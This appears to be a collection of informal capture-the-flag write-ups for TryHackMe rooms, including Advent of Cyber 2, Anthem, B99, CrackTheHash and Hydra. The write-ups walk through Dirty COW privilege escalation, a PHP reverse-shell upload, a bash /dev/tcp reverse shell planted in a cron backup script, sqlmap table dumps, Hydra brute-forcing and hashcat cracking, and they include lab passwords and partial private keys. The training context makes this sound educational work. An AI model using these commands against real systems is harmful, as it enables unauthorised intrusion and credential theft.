46 | c=$((col-1))
47 | est=$((c-2))
48 | color=0
49 | tput setaf 2; tput bold
50 |
51 | # Tree
52 | for ((i=1; i<20; i+=2))
53 | {
54 | tput cup $lin $col
55 | for ((j=1; j<=i; j++))
56 | {
57 | echo -n \*
58 | }
59 | let lin++
60 | let col--
61 | }
62 |
63 | tput sgr0; tput setaf 3
64 |
65 | # Trunk
66 | for ((i=1; i<=2; i++))
67 | {
68 | tput cup $((lin++)) $c
69 | echo "mWm"
70 | }
71 | new_year=$(date +"%Y")
72 | let new_year++
73 | tput setaf 1; tput bold
74 | tput cup $lin $((c - 6)); echo " TryHackMe"
75 | tput cup $((lin + 1)) $((c - 10)); echo " Advent of Cyber with John Hammond"
76 | let c++
77 | k=1
78 |
79 | # Lights and decorations
80 | while true; do
81 | for ((i=1; i<=35; i++)) {
82 | # Turn off the lights
83 | [ $k -gt 1 ] && {
84 | tput setaf 2; tput bold
85 | tput cup ${line[$[k-1]$i]} ${column[$[k-1]$i]}; echo \*
86 | unset line[$[k-1]$i]; unset column[$[k-1]$i] # Array cleanup
87 | }
88 |
89 | li=$((RANDOM % 9 + 3))
90 | start=$((c-li+2))
91 | co=$((RANDOM % (li-2) * 2 + 1 + start))
92 | tput setaf $color; tput bold # Switch colors
93 | tput cup $li $co
94 | echo o
95 | line[$k$i]=$li
96 | column[$k$i]=$co
97 | color=$(((color+1)%8))
98 | # Flashing text
99 | sh=1
100 | for l in C y b e r
101 | do
102 | tput cup $((lin+1)) $((c+sh))
103 | echo $l
104 | let sh++
105 | sleep 0.01
106 | done
107 | }
108 | k=$((k % 2 + 1))
109 | done$
110 | ```
111 | # dirty cow!!
112 | follow the instructed in dirty.c. Compile the exploit, run it **BUT LEAVE THE PASSWORD EMPTY**. Telnet to the server again with new tab, and run `su firefart`
113 | ```console
114 | $ su firefart
115 | Password:
116 | firefart@christmas:/home/santa# whoami
117 | firefart
118 | firefart@christmas:/home/santa# id
119 | uid=0(firefart) gid=0(root) groups=0(root)
120 | firefart@christmas:/home/santa#
121 | ```
122 | seem like GRINCH left a message to us. let will it
123 | ```console
124 | firefart@christmas:/home/santa# ls /root
125 | christmas.sh message_from_the_grinch.txt
126 | firefart@christmas:/home/santa# cat /root message_from_the_grinch.txt
127 | cat: /root: Is a directory
128 | cat: message_from_the_grinch.txt: No such file or directory
129 | firefart@christmas:/home/santa# cat /root/message_from_the_grinch.txt
130 | Nice work, Santa!
131 |
132 | Wow, this house sure was DIRTY!
133 | I think they deserve coal for Christmas, don't you?
134 | So let's leave some coal under the Christmas `tree`!
135 |
136 | Let's work together on this. Leave this text file here,
137 | and leave the christmas.sh script here too...
138 | but, create a file named `coal` in this directory!
139 | Then, inside this directory, pipe the output
140 | of the `tree` command into the `md5sum` command.
141 |
142 | The output of that command (the hash itself) is
143 | the flag you can submit to complete this task
144 | for the Advent of Cyber!
145 |
146 | - Yours,
147 | John Hammond
148 | er, sorry, I mean, the Grinch
149 |
150 | - THE GRINCH, SERIOUSLY
151 | ```
152 | message from GRINCH (John) tell us how to get the last flag, so let create a file call coal using `touch`. to get the flag we run `tree` at `/root` and pipe it to `md5sum`
153 | ```
154 | firefart@christmas:/home/santa# cd /root
155 | firefart@christmas:~# touch coal
156 | firefart@christmas:~# tree | md5sum
157 | ```
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day14.md:
--------------------------------------------------------------------------------
1 | 1. google `site:reddit.com IGuidetheClaus2020`
2 | 2. creator, google `rudolph the red nosed reindeer`
3 | - parade? download the image and image.google to search for it
4 | - location
5 | - using `exiftool` but cannot find anything
6 | - back to twitter and I find another picture with high resolution https://tcm-sec.com/wp-content/uploads/2020/11/lights-festival-website.jpg
7 | - use `exiftool` or http://exif.regex.info/exif.cgi
8 | - password, using `https://scylla.sh/api` and search for his password that you found on his twitter
9 | - hotel, search the geolocation that you get from exiftool, look for a hotel closes to the location picture was taken
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day2.md:
--------------------------------------------------------------------------------
1 |
2 | to sign in visit:`?id=ODIzODI5MTNiYmYw`
3 |
4 | from src code
5 | ```html
6 |
7 | ```
8 | I then uploaded some picture, sadly it doesn't show where the images is save. I tried to us gobuster but the browser always return the main page even tho the requested page doesn't exits. I then need to try one by one, luckily I hit the correct directory at the first try `/uploads`
9 |
10 |
11 | prepare 2 reverse shell, you can find php reverse shell by running `find / -name php-reverse* 2> /dev/null`. I changed the name and make it more cute :P. We know that the site only accept `.jpeg,.jpg,.png` by studying the src page.
12 |
13 |
14 | now let change the name of the file and include .png our reverse shell. since this page is poorly implemented, this should be enough to by pass it.
15 | ```console
16 | ┌──(kali㉿kali)-[~/THM/adventofcyber/2]
17 | └─$ cp cutiecat.php cutiecat.png.php
18 | ```
19 | Dont forget to change IP + Port in the script before upload it. Open `nc` and listen/wait for incoming reverse shell then visit `/upload/cutiecat.png.php` to execute our shell!!
20 |
21 |
22 | Boom
23 | ```
24 | nc -nlvp 6969 1 ⨯
25 | listening on [any] 6969 ...
26 | connect to [10.8.14.151] from (UNKNOWN) [10.10.122.94] 40866
27 | Linux security-server 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
28 | 17:32:13 up 20 min, 0 users, load average: 0.00, 0.13, 0.45
29 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
30 | uid=48(apache) gid=48(apache) groups=48(apache)
31 | sh: cannot set terminal process group (818): Inappropriate ioctl for device
32 | sh: no job control in this shell
33 | sh-4.4$
34 | ```
35 | let go grab the flag
36 | ```
37 | sh-4.4$ cat flag.txt
38 | cat flag.txt
39 |
40 |
41 | ==============================================================
42 |
43 |
44 | You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots!
45 | This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same.
46 |
47 |
48 | Have a flag -- you deserve it!
49 | THM{MGU3Y2UyMGUwNj___________}
50 |
51 |
52 | Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)!
53 | --Muiri (@MuirlandOracle)
54 |
55 |
56 | ==============================================================
57 | ```
58 | cya tomorrow, GL happy hacking!!
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day3.md:
--------------------------------------------------------------------------------
1 | `admin:12345`
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day4.md:
--------------------------------------------------------------------------------
1 | 1. `wfuzz -c -z file,big.txt http://shibes.xyz/api.php?breed=FUZZ`
2 |
3 | on `/api` you will find `site-log.php`, download the wordlist given by THM to your kali
4 | ```console
5 | $ wc -l wordlist
6 | 63 wordlist
7 | ```
8 | 63 lines, not bad, it will go really fast. now use wfuzz to fuzz different param
9 | ```console
10 | $ wfuzz -c -z file,wordlist http://10.10.148.58/api/site-log.php?date=FUZZ
11 |
12 | ===================================================================
13 | ID Response Lines Word Chars Payload
14 | ===================================================================
15 | .
16 | 000000001: 200 0 L 0 W 0 Ch "20201100"
17 | .
18 | .
19 | 000000026: 200 0 L 1 W 13 Ch "20201125"
20 | .
21 | .
22 | .
23 | ```
24 | most of the response return 0 char. note that `20201125` returned 13 char!! so let check it out by visit `http://10.10.148.58/api/site-log.php?date=20201125`
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day5.md:
--------------------------------------------------------------------------------
1 | /s**tap***l
2 | /santapanel
3 |
4 |
5 |
6 | ```console
7 | $ sqlmap -r day5 --tamper=space2comment
8 | .
9 | .
10 |
11 | [07:46:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests
12 | ```
13 | let add --level=5
14 | ```console
15 | $ sqlmap -r day5 --tamper=space2comment --level 5
16 | .
17 | .
18 | [07:48:20] [INFO] testing 'Generic inline queries'
19 | [07:48:20] [INFO] testing 'SQLite inline queries'
20 | [07:48:20] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
21 | [07:48:20] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
22 | [07:48:21] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
23 | [07:48:41] [INFO] GET parameter 'search' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
24 | ```
25 | yeah something is happening here :D, now just wait and wait for the scan is done.
26 |
27 |
28 | the next goal is dump the database. SQLite is running as dbms, we dont need to run `sqlmap --dbs` since SQLite dont have databases, **only tables**.
29 | ```console
30 | └─$ sqlmap -r day5 --tamper=space2comment --level 5 --threads 10 --tables
31 | .
32 | .
33 | Database: SQLite_masterdb
34 | [3 tables]
35 | +--------------+
36 | | hidden_table |
37 | | sequels |
38 | | users |
39 | +--------------+
40 | ```
41 | `hidden_table` looks interesting, let dump it!
42 | ```console
43 | $ sqlmap -r day5 --tamper=space2comment --level 5 --threads 10 -T 'hidden_table' --dump
44 | .
45 | .
46 | .
47 | [08:02:13] [INFO] fetching entries for table 'hidden_table' in database 'SQLite_masterdb'
48 | Database: SQLite_masterdb
49 | Table: hidden_table
50 | [1 entry]
51 | +-----------------------------------------+
52 | | flag |
53 | +-----------------------------------------+
54 | | thmfox{All____________________________} |
55 | +-----------------------------------------+
56 | ```
57 |
58 | to find admin password -> dump `users` table
59 | ```console
60 | $ sqlmap -r day5 --tamper=space2comment --level 5 --threads 10 -T 'users' --dump
61 | .
62 | .
63 | .
64 | [08:05:24] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb'
65 | Database: SQLite_masterdb
66 | Table: users
67 | [1 entry]
68 | +------------------+----------+
69 | | password | username |
70 | +------------------+----------+
71 | | EhCNSWzzFP6sc7gB | admin |
72 | +------------------+----------+
73 | ```
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day7.md:
--------------------------------------------------------------------------------
1 | # pcap1.pcap
2 | To search for icmp packets, type `icmp` in search bar. `http.request.method == GET` can be use to search for **HTTP GET request**.
3 |
4 |
5 | for the 3rd task I ran `http.request.method == GET and ip.src == 10.10.67.199` filtering only HTTP get request from 10.10.67.199. where I find `/posts` which I assume that it directory for articles
6 |
7 | # pcap2.pcap
8 | filter only `ftp` traffic and find `elfmcskidy` password (wrong password)
9 |
10 | # pcap3.pcap
11 | I notice that there is a http traffic after analyzing the pcap. We learned how to import files from pcap by File -> explort file -> HTTP since we want to export data from http traffic. Here you will find `christmas.zip`, export it and extract the zip. You will find `elf_mcskidy_wishlist.txt` check the content of the file :D
12 |
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day8.md:
--------------------------------------------------------------------------------
1 | use my tool call pymap.py and run `sudo python3 pymap.py -t ` will give you all output you need to solve the task.
--------------------------------------------------------------------------------
/TryHackMe/Easy/AdventOfCyber2/Day9.md:
--------------------------------------------------------------------------------
1 | connect to ftp server and with `anonymous` account and get files
2 | ```console
3 | ┌──(kali㉿kali)-[~/THM/adventofcyber/9]
4 | └─$ cat shoppinglist.txt
5 | The Polar Express Movie
6 |
7 | ┌──(kali㉿kali)-[~/THM/adventofcyber/9]
8 | └─$ cat backup.sh
9 | #!/bin/bash
10 |
11 | # Created by ElfMcEager to backup all of Santa's goodies!
12 |
13 | # Create backups to include date DD/MM/YYYY
14 | filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";
15 |
16 | # Backup FTP folder and store in elfmceager's home directory
17 | tar -zcvf /home/elfmceager/$filename /opt/ftp
18 |
19 | # TO-DO: Automate transfer of backups to backup server
20 | ```
21 | in general, backup is execute automatically after some period of time. so let try to put new backup.sh to the ftp server that contain a reverse shell
22 | ```console
23 | └─$ cat backup.sh
24 | #!/bin/bash
25 | bash -i >& /dev/tcp//6969 0>&1
26 | ```
27 | now open nc and wait for reverse shell
28 | ```console
29 | $ nc -nlvp 6969
30 | listening on [any] 6969 ...
31 | connect to [10.8.14.151] from (UNKNOWN) [10.10.120.20] 60378
32 | bash: cannot set terminal process group (1732): Inappropriate ioctl for device
33 | bash: no job control in this shell
34 | root@tbfc-ftp-01:~# ls
35 | ls
36 | flag.txt
37 | root@tbfc-ftp-01:~# cat flag.txt
38 | cat flag.txt
39 | THM{______________________}
40 | ```
41 |
--------------------------------------------------------------------------------
/TryHackMe/Easy/Anthem.md:
--------------------------------------------------------------------------------
1 | ## nmap
2 | ```
3 | PORT STATE SERVICE VERSION
4 | 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5 | | http-robots.txt: 4 disallowed entries
6 | |_/bin/ /config/ /umbraco/ /umbraco_client/
7 | |_http-title: Anthem.com - Welcome to our blog
8 | 135/tcp open msrpc Microsoft Windows RPC
9 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
10 | 445/tcp open microsoft-ds?
11 | 3389/tcp open ms-wbt-server Microsoft Terminal Services
12 | | rdp-ntlm-info:
13 | | Target_Name: WIN-LU09299160F
14 | | NetBIOS_Domain_Name: WIN-LU09299160F
15 | | NetBIOS_Computer_Name: WIN-LU09299160F
16 | | DNS_Domain_Name: WIN-LU09299160F
17 | | DNS_Computer_Name: WIN-LU09299160F
18 | | Product_Version: 10.0.17763
19 | |_ System_Time: 2020-08-01T11:44:11+00:00
20 | | ssl-cert: Subject: commonName=WIN-LU09299160F
21 | | Not valid before: 2020-04-04T22:56:38
22 | |_Not valid after: 2020-10-04T22:56:38
23 | |_ssl-date: 2020-08-01T11:44:19+00:00; +1s from scanner time.
24 | ```
25 | ## task 1 web recon
26 | - Jane Doe : JD@anthem.com
27 | - /SiteMap
28 | - /archive/
29 | - /archive/we-are-hiring/
30 | - /archive/a-cheers-to-our-it-department/
31 | - /authors/
32 | - /authors/jane-doe/
33 | - robots.txt
34 | ```
35 |
36 |
37 | # Use for all search robots
38 | User-agent: *
39 |
40 | # Define the directories not to crawl
41 | Disallow: /bin/
42 | Disallow: /config/
43 | Disallow: /umbraco/
44 | Disallow: /umbraco_client/
45 | ```
46 | - domain : Anthem.com. (on the web header & footer)
47 | - /archive/a-cheers-to-our-it-department/: info about admin
48 | ```
49 | As we all around here knows how much I love writing poems I decided to write one about him:
50 |
51 | Born on a Monday,
52 | Christened on Tuesday,
53 | Married on Wednesday,
54 | Took ill on Thursday,
55 | Grew worse on Friday,
56 | Died on Saturday,
57 | Buried on Sunday.
58 | That was the end…
59 | ```
60 | wanna know admin's name? google his name.
61 | - admin email? Jane Doe has JD@anthem.com as his/her email, what can admin have? (XX@anthem.com)
62 |
63 | # task 2: flags
64 | 1. metadata tag
65 | 2. view src
66 | 3. auther
67 | 4. metadata tag
68 |
69 | # task 3:
70 | we know that the server run remote desktop (RDP) service (port 3389). Moreover, we have user credential which we can remote login to the server. I'm using [Remmina](https://remmina.org/). Now filled in server ip, username, password, and lastly domain which we got from nmap scan. see figure below:
71 | 
72 | now press save and connect!! BOOM! we are in, grab user flag on the desktop.
73 |
74 | before we enumerate the server, let start with fixing `File Explorer` so that we can see hidden file: how to do that?
75 | 
76 |
77 | now look aroud, you will find a interesting file in `C:` note that you cannot read the .txt file coz we dont have premission. The funny part is we are able to edit the premission. Add the `SG` to the permission list as the figure belows:
78 | 
79 |
80 | Voilà ! it seem like it is a admin password. you can RDP to the server using Administrator as username to gain root OR. spawn a shell as root user, which a simple cmd that I found [here](https://superuser.com/questions/617732/running-programs-as-root-in-non-root-shell-powershell)
81 |
82 | here is what I did,
83 | 
84 |
--------------------------------------------------------------------------------
/TryHackMe/Easy/B99.md:
--------------------------------------------------------------------------------
1 | # what I learned
2 | - nothing...
3 | # enumerating
4 | - 21/tcp open ftp
5 | ```
6 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
7 | |_-rw-r--r-- 1 0 0 119 May 17 23:17 note_to_jake.txt
8 | ```
9 | the file contains
10 | ```console
11 | kali@kali:~/THM/B99$ cat note_to_jake.txt
12 | From Amy,
13 |
14 | Jake please change your password. It is too weak and holt will be mad if someone hacks into the nin nine
15 | ```
16 | - 22/tcp open ssh
17 | - 80/tcp open http
18 | - Apache/2.4.29 (Ubuntu)
19 | - a stegano picture?
20 | # foothold
21 | ```console
22 | jake@brookly_nine_nine:~$ sudo -l
23 | Matching Defaults entries for jake on brookly_nine_nine:
24 | env_reset, mail_badpass,
25 | secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
26 |
27 | User jake may run the following commands on brookly_nine_nine:
28 | (ALL) NOPASSWD: /usr/bin/less
29 | ```
30 | https://gtfobins.github.io/gtfobins/less/
31 |
32 | ```console
33 | jake@brookly_nine_nine:~$ less /home/amy/.
34 | ./ .bash_logout .cache/ .profile
35 | ../ .bashrc .gnupg/ .ssh/
36 | jake@brookly_nine_nine:~$ less /home/holt/
37 | .bash_history .bashrc .gnupg/ .profile nano.save
38 | .bash_logout .cache/ .local/ .ssh/ user.txt
39 | jake@brookly_nine_nine:~$ less /home/holt/user.txt
40 | ```
41 | * amy
42 | ```
43 | -----BEGIN RSA PRIVATE KEY-----
44 | Proc-Type: 4,ENCRYPTED
45 | DEK-Info: AES-128-CBC,8A45EF5CE95F44B523FBD6AEEAD2B9E6
46 |
47 | //MOmD5ttJ6rTXqLiBtvOmCcXLWmgexGwQZc2sy6P9mVlh9nUD2g2gN/SwyOIOzo
48 | pWBjAatk7qpqwbsGDstQsKErCDGCH/qjF49zG1meMNbzxFQAT5vOxGM/0oYJwD9F
49 | BKeRcOqY0vKjiJz0Wf9ZA3+CF3xdjNvVhneGe3BE1jEX2J3+sGZ0qiNLkYn6Mw+h
50 | p0TrrdkFQiDR5X+rbfL+EgFYCwOanABkK+FzptbXB0ABte7L+PSICvZKsCn/yo6z
51 | fxraAZ0nJejWQEYEH99o7T7uHkR+CZSD8gWPBsaP8pfPJSeKR9LzXG3MOWGc+5/p
52 | gZBPQI5EwbUaWtnwEKqzTqT1G/+iYps8ExqUGj9lZWPnwNAEnWXiKJfTZF2lJyqz
53 | -----END RSA PRIVATE KEY-----
54 | ```
55 | **jake1**
56 |
57 | * holt
58 | ```
59 | -----BEGIN RSA PRIVATE KEY-----
60 | Proc-Type: 4,ENCRYPTED
61 | DEK-Info: AES-128-CBC,7FEB01DFD04064BFFC03CBB293CEF0F9
62 | 8rta3aQd8iUsjaUJ7S+j4wUbMhIGhWaSFOwuyDvKOfTEuFpNSv5DkA/p6D7qcBIE
63 | eApPx3ASu2agU8IRvq0Z6IuWw1rvprmiXyBWCQ9NBOjIo4dnL6cLE+UmVmQThxst
64 | hnxQNnTVZlFLdM5mJjNyzCyfsdvyu5QxsDfEtTCLBH3P8ittfeSWv1WlF0b6nkUO
65 | -----END RSA PRIVATE KEY-----
66 | ```
67 | **kevin**
68 |
69 | ```console
70 | kali@kali:~/THM/B99$ nano holt.txt
71 | kali@kali:~/THM/B99$ sudo /usr/share/john/ssh2john.py holt.txt > holt-for-john.txt
72 | kali@kali:~/THM/B99$ sudo /usr/share/john/ssh2john.py amy.txt > amy-for-john.txt
73 | root@kali:~# john /home/kali/THM/B99/holt-for-john.txt -wordlist=/usr/share/wordlists/rockyou.txt # holt
74 | root@kali:~# john /home/kali/THM/B99/amy-for-john.txt -wordlist=/usr/share/wordlists/rockyou.txt # amy
75 | kali@kali:~/THM/B99$ openssl rsa -in amy.txt -out amy_id_rsa
76 | kali@kali:~/THM/B99$ openssl rsa -in holt.txt -out holt_id_rsa
77 | ```
78 | but fuq... didnt works,
79 |
80 | # root
81 | ```console
82 | jake@brookly_nine_nine:~$ less /root/root.txt
83 | ```
84 |
85 | # PS
86 | - There are two main intended ways to root the box.
87 | - I only solved 1
--------------------------------------------------------------------------------
/TryHackMe/Easy/CrackTheHash.md:
--------------------------------------------------------------------------------
1 | link to [read](https://hashcat.net/wiki/doku.php?id=example_hashes). and [this](https://hkh4cks.com/blog/2018/02/05/password-cracking-tools/#hashcat)
2 |
3 | # Task 1
4 | Can you complete the level 1 tasks by cracking the hashes?
5 |
6 |
7 | find out what XXX stand for!! GL
8 | 1. ```hashcat -m XXX -a 0 -o task.txt "48bb6e862e54f2a795ffc4e541caed4d" /usr/share/wordlists/rockyou.txt --force```
9 | 2. sha1
10 | 3. sha256
11 | 4. kill me, it will take me 11 to crake this
12 | 5. https://md5decrypt.net/en/Md4/
13 | 6.
14 |
15 | # Task 2
16 |
17 | 1. ```hashcat -m 1400 -a 0 -o task.txt "F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85" /usr/share/wordlists/rockyou.txt --force```
18 | 2. ```hashcat -m 1000 -a 0 -o task.txt "1DFECA0C002AE40B8619ECF94819CC1B" /usr/share/wordlists/rockyou.txt --force```
19 | 3. dothis
20 | ```console
21 | $ ehco "$6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02." > unix.hash
22 | $ hashcat -m 1800 -a 0 -o task.txt unix.lst wordlist/rockyou.txt --force --self-test-disable #took like 1 hr
23 | ```
24 | 4. ```hashcat -m 160 -a 0 -o task.txt "e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme" /usr/share/wordlists/rockyou.txt --force```
25 |
26 | ```console
27 | hashcat -m 3200 -a 0 -o crack.txt '$2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG' /usr/share/wordlists/rockyou.txt --force
28 | 1800
29 | $6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0
30 | hashcat -m 1800 -a 0 -o crack.txt '$6$xQmTDVmT$hgSLG3ebs.8Tc/F4qqXNnvBBnG736EWpWKaprFVARjAsZ6JyoL4WaJdGv5.qddMWF4/MoJgN6Hekri8wyJ97k/' /usr/share/wordlists/rockyou.txt --force
31 | ```
32 |
33 |
34 | $6$xQmTDVmT$hgSLG3ebs.8Tc/F4qqXNnvBBnG736EWpWKaprFVARjAsZ6JyoL4WaJdGv5.qddMWF4/MoJgN6Hekri8wyJ97k/
--------------------------------------------------------------------------------
/TryHackMe/Easy/Hydra.md:
--------------------------------------------------------------------------------
1 | # Hydra Commands
2 |
3 | The options we pass into Hydra depends on which service (protocol) we're attacking. For example if we wanted to bruteforce FTP with the username being user and a password list being passlist.txt, we'd use the following command:
4 |
5 | ```hydra -l user -P passlist.txt ftp://192.168.0.1```
6 |
7 | For the purpose of this deployed machine, here are the commands to use Hydra on SSH and a web form (POST method).
8 | ## SSH
9 |
10 | ```hydra -l -P -t 4 ssh```
11 | [-h](https://i.imgur.com/D71vkKM.png)
12 |
13 | ```console
14 | kali@kali:~$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.39.3 -t 4 ssh
15 | Hydra v9.1-dev (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
16 |
17 | Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-03 12:51:58
18 | [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
19 | [DATA] attacking ssh://10.10.39.3:22/
20 | [22][ssh] host: 10.10.39.3 login: molly password: butterfly
21 | 1 of 1 target successfully completed, 1 valid password found
22 | Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-03 12:52:51
23 | kali@kali:~$ ssh molly@10.10.39.3
24 | The authenticity of host '10.10.39.3 (10.10.39.3)' can't be established.
25 | ECDSA key fingerprint is SHA256:CvZ/M3lLX1Nv/BtNNW9Cb+JYa2z85ldNGQdNp0HwQ9U.
26 | Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
27 | Warning: Permanently added '10.10.39.3' (ECDSA) to the list of known hosts.
28 | molly@10.10.39.3's password:
29 | Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-1092-aws x86_64)
30 |
31 | * Documentation: https://help.ubuntu.com
32 | * Management: https://landscape.canonical.com
33 | * Support: https://ubuntu.com/advantage
34 |
35 | 65 packages can be updated.
36 | 32 updates are security updates.
37 |
38 |
39 | Last login: Tue Dec 17 14:37:49 2019 from 10.8.11.98
40 | molly@ip-10-10-39-3:~$ ls
41 | flag2.txt
42 | molly@ip-10-10-39-3:~$ cat flag2.txt
43 | THM{c8eeb0468febbadea859baeb33b2541b}
44 | ```
45 | flag = ```THM{c8eeb0468febbadea859baeb33b2541b}```
46 |
47 |
48 | ## Post Web Form
49 |
50 | We can use Hydra to bruteforce web forms too, you will have to make sure you know which type of request its making - a GET or POST methods are normally used. You can use your browsers network tab (in developer tools) to see the request types, of simply view the source code.
51 |
52 | Below is an example Hydra command to brute force a POST login form:
53 |
54 | ```hydra -l -P http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V```
55 |
56 | - [-h](https://i.imgur.com/vC3ZU4E.png)
57 | - [check this to understand how to use it](https://redteamtutorials.com/2018/10/25/hydra-brute-force-https/)
58 |
59 |
60 |
61 | ```console
62 | kali@kali:~$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.39.3 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
63 | Hydra v9.1-dev (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
64 |
65 | Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-03 13:09:26
66 | [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
67 | [DATA] attacking http-post-form://10.10.39.3:80/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect.
68 | [80][http-post-form] host: 10.10.39.3 login: molly password: sunshine
69 | 1 of 1 target successfully completed, 1 valid password found
70 | Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-03 13:09:29
71 | ```
72 | ```html
73 |
74 |
75 |